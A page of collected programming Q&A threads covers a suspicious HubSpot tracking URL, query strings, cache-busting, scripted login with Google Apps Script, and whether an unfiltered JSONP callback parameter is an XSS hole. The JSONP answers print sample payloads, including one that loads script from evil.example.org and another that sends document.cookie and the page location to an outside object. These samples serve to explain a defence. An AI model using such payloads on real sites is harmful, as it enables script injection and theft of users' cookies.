How to remove javascript code injection from a URL on HubSpot? - javascript

One of our clients received a social engineering warning from google. There is nothing hosted on the client's site and all I can assume is that the code is embedded in the URL. How can I stop this and make sure that the URL is not being taken advantage of?
Code below -
http://blog.essentialtech.com[.]au/events/public/v1/track/c/*W42X1Kh4VlKV7W4NDyrQ4Jwqwc0/*W34SKKS4FTw8nW7PlP8S8lBlFP0/5/f18dQhb0SfHC9dsQ84N7cW9rzHyjJqVS9MQR2B872gW3hHhb35zh-NRVnQ9Qq8Z_8m8W328bd38Xl1YFW2Mk5st5mZ50NMH5sdmJ4m23N8_dF8cJVPWRW4c2Tyb6d_m0TVHG2xy2R1bM2W2N6lzq4cj1_jW2pzD7d2MTPSyVKng6q1Wg4bjW58jf-C34RCjxW2p2f452LHP4rW5x5KNk7-XB_5N4Qzp5DMBCsfW7pKMHF2K4XMjW8tzC3F8q-1tCN1KKm4vRFkK4W5G18Kh3y9KYQN3dgtM7YrDrqW5hfJ425v5Cb1W8x-WCY3tg8kZN6p6WGsDLwCnW5BLL855GJB9nW5lW2Zn30_g8xW5kXBFn6n161-W38SQwr2Yy7gbW8Knjr38f7c2WW5rTvwF42SsX8W5nLxq_8r0-2RW30v4M38wyznpN3Gyjm6BNxmYW3gfMK48j556ZN8q1-LpjGXPKN64V3lHJRhw9VcZLWR86l4pCW8yq-Kr3rJTdsN5d_Q0Zj8tbNW480YZF3psJYWW8l-5SS6S8BxvW2RLxLy7X8G2fW5SdKBQ8s1s46W32wFFH1NsfDKSqhY367YLr102?_ud=617a5272-4c86-4d80-987a-d62228fd4f5e

This could be referring to a situation where in your code you're directly outputting the value of a query parameter or URL part in your page itself.
HubSpot has some automatic protections to prevent that kind of code injection, but there's still some best practices you should follow regardless of what CMS platform you're using.
Never trust query parameters as having only valid data. Never directly output it on the page. You can use HubL filters such as |escape and |striptags to remove potentially harmful code in the event you do need to display the value in the page.
An example of a time you might do that might be for a search results page, where you show "Search results for :"

Related

dynamically generate content for a page when clicking on product

everyone. I am making a website with t-shirts. I dynamically generate preview cards for products using a JSON file but I also need to generate content for an HTML file when clicking on the card. So, when I click on it, a new HTML page opens like product.html?product_id=id. I do not understand how to check for id or this part ?prodcut_id=id, and based on id it generates content for the page. Can anyone please link some guides or good solutions, I don't understand anything :(.
It sounds like you want the user's browser to ask the server to load a particular page based on the value of a variable called product_id.
The way a browser talks to a server is an HTTP Request, about which you can learn all the basics on javascipt.info and/or MDN.
The ?product_id=id is called the 'query' part of the URL, about which you can learn more on MDN and Wikipedia.
A request that gets a page with this kind of URL from the server is usually a GET request, which is simpler and requires less security than the more common and versatile POST request type.
You may notice some of the resources talking about AJAX requests (which are used to update part of the current page without reloading the whole thing), but you won't need to worry about this since you're just trying to have the browser navigate to a new page.
Your server needs to have some code to handle any such requests, basically saying:
"If anybody sends an HTTP GET request here, look at the value of the product_id variable and compare it to my available HTML files. If there's a match, send a response with the matching file, and if there's no match, send a page that says 'Error 404'."
That's the quick overview anyway. The resources will tell you much more about the details.
There are some solutions, how you can get the parameters from the url:
Get ID from URL with jQuery
It would also makes sense to understand what is a REST Api and how to build a own one, because i think you dont have a backend at the moment.
Here some refs:
https://www.conceptatech.com/blog/difference-front-end-back-end-development
https://www.tutorialspoint.com/nodejs/nodejs_restful_api.htm

Embed param with index page

I need to embed a parameter with all my pages url. Like:
index page = www.abc.com?param=value
about us page = www.abc.com/about-us.html?param=value
When i google it I found param tag. But it is child tag of Object Tag. So I don't know how to use this to address my issue.
Note: Am adding parameter to maintain my version upgrades so that browser will fetch from server whenever new updates added not fetching from cache like Google.
How to achieve that?
When i google it I found param tag. But it is child tag of Object Tag. So I don't know how to use this to address my issue.
You can't. It has nothing to do with your issue. Object parameters and query string parameters are entirely unrelated.
Am adding parameter to maintain my version upgrades so that browser will fetch from server whenever new updates added not fetching from cache like Google.
That is used when linking to resources that change infrequently and you normally want to be heavily cached, but which occasionally change in a way that would break parts of a site if not refreshed in the browser. Primarily this applies to stylesheets and JavaScript files.
For regular pages, you usually don't want such strict caching rules so you should configure your HTTP server to put appropriate cache control headers in the HTTP response for the HTML document.
For instance:
Cache-Control:max-age=3600
ETag:"44ab-51ae9454a67e2"
mnot has a good guide if you want a more in depth explanation about how to control caching.

Google Apps Script - how to login and fetch data?

Intro:
I am pretty inexperienced, but recently I have been trying to access some data from a website using Google Apps Scripts. However, to access the data, I must be logged into that website. There have actually been many posts about similar issues before, but none of them were very helpful until I came to this one: how to fetch a wordpress admin page using google apps script. The accepted answer gave a method for saving the cookies and sending them out again in the second request. I basically copied and pasted the code into my own GAS file. Since the problem in that post was logging into Wordpress, I tried that first, and it worked. I had to remove the if statement checking for the response code because 200 was being returned even when I entered the correct combo. I don't know if that was just an error in the post's code or what. In any case, I verified that the second request I made returned information as if I was logged in.
Details about specific site:
The actual website that I am trying to log onto has a some kind of weird hashing method that I haven't seen on any other login pages. When you click submit, the password changes to something really long before going to another page. The opening form tag looks like this:
<form action="/guardian/home.html" method="post" name="LoginForm" target="_top" id="LoginForm" onsubmit="doPCASLogin(this);">
As you can see, it has an "onsubmit" attribute, which I believe will just run "doPCASLogin(this);" when the form is submitted. I decided to play around with the page by just entering javascript into the address bar. What I found was that doing a command like this (after entering in my username and password):
javascript: document.forms[0].submit();
didn't work. So I dug around and found the function "doPCASLogin()" in a javascript file called "md5.js". I believe md5 is some kind of hash algorithm, but that doesn't really matter. The important part of "doPCASLogin()" is this:
function doPCASLogin(form) {
var originalpw = form.pw.value;
var b64pw = b64_md5(originalpw);
var hmac_md5pw = hex_hmac_md5(pskey, b64pw)
form.pw.value = hmac_md5pw;
form.dbpw.value = hex_hmac_md5(pskey, originalpw.toLowerCase())
if (form.ldappassword!=null) {
form.ldappassword.value = originalpw;
}
}
There is some other stuff as well, but I found that it didn't matter for my login. It is pretty obvious that this just runs the password through another function a few times using "pskey" (stored in a hidden input, different on each reload) as a key, and puts these in inputs on the original form ("dbpw" and "ldappassword" are hidden inputs, while "pw" is the visible password entry input). After it does this, it submits. I located this other "hex_hmac_md5()" function, which actually connects to a whole bunch of other functions to hash the password. Anyway, that doesn't matter, because I can just call the "hex_hmac_md5()" from the javascript I type in the address bar. This is the working code that I came up with, I just broke the line up for readability:
javascript:
document.forms['LoginForm']['account'].value="username";
document.forms['LoginForm']['pw'].value="hex_hmac_md5(pskey, b64_md5('password');)";
document.forms['LoginForm']['ldappassword'].value="password";
document.forms['LoginForm']['dbpw'].value="hex_hmac_md5(pskey, 'password')";
document.forms['LoginForm'].submit();
Wherever you see "username" or "password", this just means that I entered my username and password in those spots, but obviously I have removed them. When I discovered that this worked, I wrote a small Chrome extension that will automatically log me in when I go to the website (the login process is weird so Chrome doesn't remember my username and password). That was nice, but it wasn't my end goal.
Dilemma:
After discovering all this about the hashing, I tried just putting in all these values into the HTTP payload in my GAS file, though I was skeptical that it would work. It didn't, and I suspect that is because the values are just being read as strings and the javascript is not actually being run. This would make sense, because running the actual javascript would probably be a security issue. However, why would it work in the address bar then? Just as a side note, I am getting a 200 response code back, and it also seems that a cookie is being sent back too, though it may not be valid. When I read the actual response, it is just the login page again.
I also considered trying to replicate the entire function in my own code after seeing this: How to programmatically log into a website?, but since "pskey" is different on each reload, I think the hashing would have to be done with the new key on the second UrlFetch. So even if I did copy all of the functions into my GAS file, I don't think I could successfully log on because I would need to know the "pskey" that will be generated for a particular request BEFORE actually sending the request, which would be impossible. The only way this would work is if I could somehow maintain one page somehow and read it before sending data, but I don't know how I would do this with GAS.
EDIT: I have found another input, named "contextData", which is the same as "pskey" when the page is loaded. However, if I login once and look at the POST request made using Chrome Developers tools, I can copy all the input values, including "contextData", and I can send another request a second time. Using javascript in the address bar, it looks like this:
javascript:
document.forms['LoginForm']['account'].value="username";
document.forms['LoginForm']['pw'].value="value in field that browser sent once";
document.forms['LoginForm']['ldappassword'].value="password";
document.forms['LoginForm'['dbpw'].value="value in field that browser sent once";
document.forms['LoginForm'['contextData'].value="value in field that browser sent once";
document.forms['LoginForm'].submit();
I can sign into the website as many times as I want in this manner, no matter what "pskey" is, because I am submitting everything directly and no hashing is being done. However, this still doesn't work for me, so I'm kind of stuck. I should note that I have checked the other hidden input fields and I can still log in successfully with the javascript above even after clearing every input in the form.
QUESTIONS:
-was I correct in assuming that the code I was sending was being interpreted as a string?
-why is the new code below that I just recently wrote not working?
-for future reference, how would I use GAS to sign into a site like Google where a randomly generated string is sent in the login form, and must be sent back?
function getData() {
var loginURL = 'login page';
var dataURL = 'page with data';
var loginPayload = {
'account':'same as in previous code block',
'pw':"same as in previous code block",
'ldappassword':'same as in previous code block',
'dbpw':"same as in previous code block",
"contextData":"same as in previous code block",
};
var loginOptions = {'method':'post','payload':loginPayload,'followredirects':false};
var loginResponse = UrlFetchApp.fetch(loginURL,loginOptions);
var loginHeaders = loginResponse.getAllHeaders();
var cookie = [loginResponse.getAllHeaders()["Set-Cookie"]];
cookie[0] = cookie[0].split(";")[0];
cookie = cookie.join(";");
var dataHeaders = {'Cookie':cookie};
var dataOptions = {'method':'get','headers':dataHeaders};
var dataResponse = UrlFetchApp.fetch(dataURL,dataOptions);
Logger.log(dataResponse);
}
some kind of weird hashing method that I haven't seen on any other login pages
This login uses the well-known MD5 hashing algorithm from a base-64 encoded password (of note is that it uses the same password, but lowercased, for what seems like database access dbpw and has an option of sending the plaintext (!) version of the password for LDAP login).
know the "pskey" that will be generated for a particular request BEFORE actually sending the request, which would be impossible
pskey simply stores the key used in computing HMAC signature. There is nothing stopping you from hardcoding it, reading from disk, generating it or fetching from remote whenever and wherever you want (obviously, before the computation).
running the actual javascript would probably be a security issue
Although running untrusted JavaScript code is indeed a security issue, this is not what happened at all in your case. See next point for detailed explanation why. What you should've done, is to actually run the hashing functions (in 2020, Utilities service provides everything you need in that regard) before assigning them to loginPayload properties.
was I correct in assuming that the code I was sending was being interpreted as a string?
Everything you put in quotes (single or double) is treated as a sequence of characters. That's not how Google Apps Script works, this is how ECMAScript (on which it is based) is designed to work. In order to execute the functions "inside" the string, you need to use eval, but please never do that.
Now, in 2020 it took me some time to remember what javascript: protocol meant. This is the only reason why your code executed in the first place - you explicitly told the browser that what follows is JavaScript code to be executed. If someone sees this: please, don't use that ever again.
Google Apps Script is a server-side code and is not executed in the browser environment, therefore, even if you did use the protocol, it would have no effect because no evaluation took place.
why is the new code below that I just recently wrote not working?
Because of all the reasons explained above.
for future reference, how would I use GAS to sign into a site like Google where a randomly generated string is sent in the login form, and must be sent back?
If you are talking about the OAuth / OAuth2.0 authentication protocol, here is an officially endorsed library dedicated for exactly this purpose.

Apparent jsonp xss vulnerability

Some of our customers have chimed in about a perceived XSS vulnerability in all of our JSONP endpoints, but I disagree as to whether or not it actually constitutes a vulnerability. Wanted to get the community's opinion to make sure I'm not missing something.
So, as with any jsonp system, we have an endpoint like:
http://foo.com/jsonp?cb=callback123
where the value of the cb parameter is replayed back in the response:
callback123({"foo":"bar"});
Customers have complained that we don't filter out HTML in the CB parameter, so they'll contrive an example like so:
http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--
Obviously for a URL that returns the content type of text/html, this poses a problem wherein the browser renders that HTML and then executes the potentially malicious javascript in the onload handler. Could be used to steal cookies and submit them to the attacker's site, or even to generate a fake login screen for phishing. User checks the domain and sees that it's one he trusts, so he goes agead and logs in.
But, in our case, we're setting the content type header to application/javascript which causes various different behaviors in different browsers. i.e. Firefox just displays the raw text, whereas IE opens up a "save as..." dialog. I don't consider either of those to be particularly exploitable. The Firefox user isn't going to read malicious text telling him to jump off a bridge and think much of it. And the IE user is probably going to be confused by the save as dialog and hit cancel.
I guess I could see a case where the IE user is tricked into saving and opening the .js file, which then goes through the microsoft JScript engine and gets all sorts of access to the user's machine; but that seems unlikely. Is that the biggest threat here or is there some other vulnerability that I missed?
(Obviously I'm going to "fix" by putting in filtering to only accept a valid javascript identifier, with some length limit just-in-case; but I just wanted a dialog about what other threats I might have missed.)
Their injection would have to be something like </script><h1>pwned</h1>
It would be relatively trivial for you to verify that $_GET['callback'] (assuming PHP) is a valid JavaScript function name.
The whole point of JSONP is getting around browser restrictions that try and prevent XSS-type vulnerabilities, so to some level there needs to be trust between the JSONP provider and the requesting site.
HOWEVER, the vulnerability ONLY appears if the client isn't smartly handling user input - if they hardcode all of their JSONP callback names, then there is no potential for a vulnerability.
Your site would have an XSS vulnerability if the name of that callback (the value of "cb") were derived blindly from some other previously-input value. The fact that a user can create a URL manually that sends JavaScript through your JSONP API and back again is no more interesting than the fact that they can run that same JavaScript directly through the browser's JavaScript console.
Now, if your site were to ship back some JSON content to that callback which used unfiltered user input from the form, or more insidiously from some other form that previously stored something in your database, then you'd have a problem. Like, if you had a "Comments" field in your response:
callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })
then that comment, whose value was x"+alert("haxored")+"y, would be an XSS attack. However any good JSON encoder would fix that by quoting the double-quote characters.
That said, there'd be no harm in ensuring that the callback name is a valid JavaScript identifier. There's really not much else you can do anyway, since by definition your public JSONP service, in order to work properly, is supposed to do whatever the client page wants it to do.
Another example would be making two requests like these:
https://example.org/api.php
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(
which would call:
$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });
And evil.example.org/x.js would request:
https://example.org/api.php
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:
which would call:
new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });
Possibilities are endless.
See Do I need to sanitize the callback parameter from a JSONP call? for an example of sanitizing a JSON callback.
Note: Internet Explorer tends to ignore the Content-Type header by default. It is stubborn, and goes to look at the first few bytes of the HTTP response directly, and if it looks kinda of HTML, it will proceed to parse and execute it all as text/html, including inline scripts.
There's nothing to stop them from doing something that inserts code, if that is the case.
Imagine a URL such as http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo. When this gets received by the client, depending on how you handle JSONP, you may introduce the ability to run JS of arbitrary complexity.
As for how this is an attack vector: imagine an HTTP proxy, that is a transparent forwarding proxy for all URLs except http://example.com/jsonp, where it takes the cb part of the query string and prepends some malicious JS before it, and redirects to that URL.
As Pointy indicates, solely calling the URL directly is not exploitable. However, if any of your own javascript code makes calls to the JSON service with user-supplied data and either renders the values in the response to the document, or eval()s the response (whether now, or sometime in the future as your app evolves over time) then you have a genuinely exploitable XSS vulnerability.
Personally I would still consider this a low risk vulnerability, even though it may not be exploitable today. Why not address it now and remove the risk of it being partly responsible for introducing a higher-risk vulnerability at some point in the future?

Performing JS methods on a URL submitted by the user?

I haven't found an answer to this, and since I'm pretty new to JS, I don't know if it's even possible.
I have a regular HTML form, where the only field is a user types in a URL (any URL) and clicks submit.
The URL will "be sent" to JS code that stores this URL in some variable, I guess. Basically, I need to be able to call getElementsByTagName() on any URL submitted by the user.
My point is to count up the number of times a URL contains a specified element, which I do know how to do :)
How do I interpret a URL submitted through a form by someone and then take that URL and be able to perform methods (such as getElementsById) on it? I want to return the count of the number of elements to the user.
Any ideas? Can this all be done in JS? Is this possible?
When you say "URL," I assume you are talking about the actual webpage and not the url string. In other words, you want to load the entire DOM into a javascript variable and then parse it with getElementsByTagName(), etc. Javascript cannot load this webpage due to the Same Origin Policy, unless users can only submit pages that are on the same domain as your site. If that was the case, you could use a frame. Otherwise, JS can't do it without Jsonp, which isn't going to work in this case.
However, all is not lost. You can have your JS make an asynchronous request (ajax) to your own server. Your server scripting language /can/ get the entire DOM of the webpage (e.g. PHP can do this with cURL). Then it can send the entire string back to JS as xml that can be parsed. Good luck.
You can't really do that from the client (the web browser) with nothing but Javascript, because security rules will prevent your page from fetching and examining content from a different domain. You'll need to send the URL to a server and have it do the work.

Categories